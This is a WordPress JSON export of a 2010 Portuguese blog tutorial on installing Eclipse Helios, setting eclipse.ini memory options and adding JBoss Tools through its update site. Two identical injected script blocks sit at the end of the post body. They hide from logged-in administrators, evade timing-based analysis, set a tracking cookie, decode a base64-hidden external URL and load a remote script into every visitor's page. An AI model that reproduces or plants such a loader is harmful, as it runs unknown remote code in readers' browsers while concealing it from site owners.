{"id":102,"date":"2010-08-27T14:00:43","date_gmt":"2010-08-27T17:00:43","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=102"},"modified":"2025-10-26T22:44:34","modified_gmt":"2025-10-27T01:44:34","slug":"instalacao-do-eclipse-jboss-tools","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/08\/27\/instalacao-do-eclipse-jboss-tools\/","title":{"rendered":"Instala\u00e7\u00e3o do Eclipse + JBoss Tools"},"content":{"rendered":"<p style=\"text-align: justify;\">Existe um conjunto de plugins que utilizo com freq\u00fc\u00eancia, que \u00e9 o JBoss Tools. Abaixo est\u00e1 as instru\u00e7\u00f5es de como configurar e o eclipse corretamente para que essas ferramentas funcione como esperado.<\/p>\n<h2 style=\"text-align: justify;\">Instala\u00e7\u00e3o do Eclipse<\/h2>\n<p style=\"text-align: justify;\">Para instalar o eclipse basta acessar o site: <a title=\"Download Eclipse\" href=\"http:\/\/www.eclipse.org\/downloads\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.eclipse.org\/downloads\/<\/a> e fazer o download do Eclipse IDE for Java EE Developers. No meu caso eu instalei o Eclipse Helios (3.6) para Linux 64 bits.<\/p>\n<p style=\"text-align: justify;\">Download feito, descompactamos em uma pasta e pronto! Eclipse instalado. Para quem gosta de um pouco mais de facilidade, pode criar um atalho a partir do arquivo eclipse (eclipse.exe para Windows). O \u00edcone para atalho est\u00e1 na pr\u00f3pria pasta: icon.xpm.<\/p>\n<h3 style=\"text-align: justify;\">Configura\u00e7\u00e3o do Eclipse<\/h3>\n<p style=\"text-align: justify;\">Para evitar o eclipse travar por falta de mem\u00f3ria (OutOfMemory ou erros de PermGen) eu sempre edito o arquivo eclipse.ini. Minha m\u00e1quina tem 8GB, mas a maioria eu utilizo para servidores de aplica\u00e7\u00f5es. Ent\u00e3o pra mim 1GB de mem\u00f3ria Heap e 256MB de PermSize pro Eclipse j\u00e1 \u00e9 mais que suficiente. Eu tamb\u00e9m costumo tamb\u00e9m aumentar o m\u00ednimo de mem\u00f3ria Heap para ele n\u00e3o ficar alocando ao iniciar.<\/p>\n<p style=\"text-align: justify;\">Ent\u00e3o as \u00faltimas linhas do meu eclipse.ini ficam o seguinte:<\/p>\n<p>[cc]<br \/>\n-vmargs<br \/>\n-Dosgi.requiredJavaVersion=1.5<br \/>\n-XX:MaxPermSize=256m<br \/>\n-Xms256m<br \/>\n-Xmx1024m<br \/>\n[\/cc]<\/p>\n<h2>Instala\u00e7\u00e3o do JBoss Tools<\/h2>\n<p style=\"text-align: justify;\">Feito a instala\u00e7\u00e3o do Eclipse, vamos instalar o JBoss Tools. Inicie o eclipse e escolha um workspace.<\/p>\n<p style=\"text-align: justify;\">Para instalar o JBoss Tools basta acessar o site: <a title=\"JBoss Tools Download\" href=\"http:\/\/www.jboss.org\/tools\/download\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.jboss.org\/tools\/download\/<\/a> e escolher a vers\u00e3o correta baseado na vers\u00e3o do eclipse instalado. \u00c9 sempre recomendado as vers\u00f5es Stable por conter menos bugs, mas ao acessar hoje, n\u00e3o tinha vers\u00e3o est\u00e1vel para o Eclipse Helios (Eclipse 3.6.0). Ent\u00e3o fui obrigado a escolher a vers\u00e3o em desenvolvimento. Evite escolher as vers\u00f5es de build noturnos, s\u00e3o as que mais cont\u00e9m bugs. Verificado a vers\u00e3o, na se\u00e7\u00e3o Update Site, copie a url da sua vers\u00e3o, iremos utilizar posteriormente. No meu caso a URL \u00e9: <a title=\"JBoss Tools Update Site\" href=\"http:\/\/download.jboss.org\/jbosstools\/updates\/development\/\" target=\"_blank\" rel=\"noopener\">http:\/\/download.jboss.org\/jbosstools\/updates\/development\/<\/a>.<\/p>\n<p style=\"text-align: justify;\"><strong>Atualiza\u00e7\u00e3o dia 18\/09\/2010:<\/strong> <em>A instala\u00e7\u00e3o desse plugin tamb\u00e9m pode ser feita via Eclipse Marketplace, conforme descrito <a title=\"Eclipse Marketplace\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/09\/18\/findbugs-pelo-eclipse-marketplace\/\" target=\"_blank\" rel=\"noopener\">aqui<\/a>.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Atualiza\u00e7\u00e3o dia 20\/09\/2010:<\/strong> <em>Meu amigo <a title=\"K\u00f3lem\" href=\"http:\/\/twitter.com\/kolemtaparo\" target=\"_blank\" rel=\"noopener\">K\u00f3lem<\/a> descobriu um <a title=\"JBIDE-6966\" href=\"https:\/\/jira.jboss.org\/browse\/JBIDE-6966\" target=\"_blank\" rel=\"noopener\">bug<\/a> ao utilizar a vers\u00e3o descrita no post no dia de hoje (3.2.0 M2). Esse bug provavelmente estar\u00e1 corrigido na vers\u00e3o final, para quem quiser utilizar a vers\u00e3o corrigida (3.2.0 Beta), utilizar como update site o link: <\/em><a title=\"JBoss Tools Update Site\" href=\"http:\/\/download.jboss.org\/jbosstools\/updates\/nightly\/trunk\/\" target=\"_blank\" rel=\"noopener\">http:\/\/download.jboss.org\/jbosstools\/updates\/nightly\/trunk\/<\/a><\/p>\n<p style=\"text-align: justify;\">Voltando ao Eclipse, feche a Janela de Welcome (n\u00e3o gosto dela :D). Acesse Help, Install New Software. Abrir\u00e1 a seguinte janela:<\/p>\n<figure id=\"attachment_116\" aria-describedby=\"caption-attachment-116\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-Install.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-116 \" title=\"Install New Software\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-Install-300x292.png\" alt=\"Install New Software\" width=\"300\" height=\"292\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-Install-300x292.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-Install.png 723w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-116\" class=\"wp-caption-text\">Install New Software<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Add e Coloque um nome pro update site e o link copiado anteriormente e pressione Ok:<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_119\" aria-describedby=\"caption-attachment-119\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-AddRepository.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-119 \" title=\"Add Repository\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-AddRepository-300x111.png\" alt=\"Add Repository\" width=\"300\" height=\"111\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-AddRepository-300x111.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-AddRepository.png 484w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-119\" class=\"wp-caption-text\">Add Repository<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Ap\u00f3s isso, na listagem ir\u00e1 aparecer todos os plugins do JBoss Tools. Selecione o que voc\u00ea ir\u00e1 utilizar ou selecione All JBoss Tools 3.2.0 M1 (no meu caso, o primeiro da lista) e clique em Next e Next novamente (caso d\u00ea algum erro nessa tela, verifique se voc\u00ea instalou plugins incompat\u00edveis ou se est\u00e1 faltando alguma depend\u00eancia). Ao aparecer Review Licenses, leia ela \ud83d\ude00 e clique em I accept... se voc\u00ea concordar :D. Ap\u00f3s isso clique em Finish. Ir\u00e1 aparecer a seguinte tela:<\/p>\n<p style=\"text-align: left;\">\n<figure id=\"attachment_120\" aria-describedby=\"caption-attachment-120\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-InstallingSoftware-.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-120 \" title=\"Installing Software\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-InstallingSoftware--300x129.png\" alt=\"Installing Software\" width=\"300\" height=\"129\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-InstallingSoftware--300x129.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-InstallingSoftware-.png 532w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-120\" class=\"wp-caption-text\">Installing Software<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Caso apare\u00e7a alguma tela dizendo que voc\u00ea est\u00e1 instalando um software com conte\u00fado n\u00e3o assinado, clique Ok para prosseguir com a instala\u00e7\u00e3o. Ap\u00f3s terminar, clique em Restart Now, para reiniciar o Eclipse e efetivar a instala\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">Para verificar se a instala\u00e7\u00e3o foi bem sucedida, pressione Ctrl+N e verifique se tem o diret\u00f3rio JBoss Tools<\/p>\n<p style=\"text-align: center;\">\n<p><figure id=\"attachment_123\" aria-describedby=\"caption-attachment-123\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-New.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-123 \" title=\"New\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-New-300x269.png\" alt=\"New\" width=\"300\" height=\"269\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-New-300x269.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/Screenshot-New.png 523w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-123\" class=\"wp-caption-text\">New<\/figcaption><\/figure><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Existe um conjunto de plugins que utilizo com freq\u00fc\u00eancia, que \u00e9 o JBoss Tools. Abaixo est\u00e1 as instru\u00e7\u00f5es de como configurar e o eclipse corretamente para que essas ferramentas funcione como esperado. Instala\u00e7\u00e3o do Eclipse Para instalar o eclipse basta <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/08\/27\/instalacao-do-eclipse-jboss-tools\/\">Continue lendo  <span class=\"screen-reader-text\">  Instala\u00e7\u00e3o do Eclipse + JBoss Tools<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10],"tags":[],"class_list":["post-102","post","type-post","status-publish","format-standard","hentry","category-java","category-jee"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/102","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=102"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/102\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=102"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=102"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=102"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}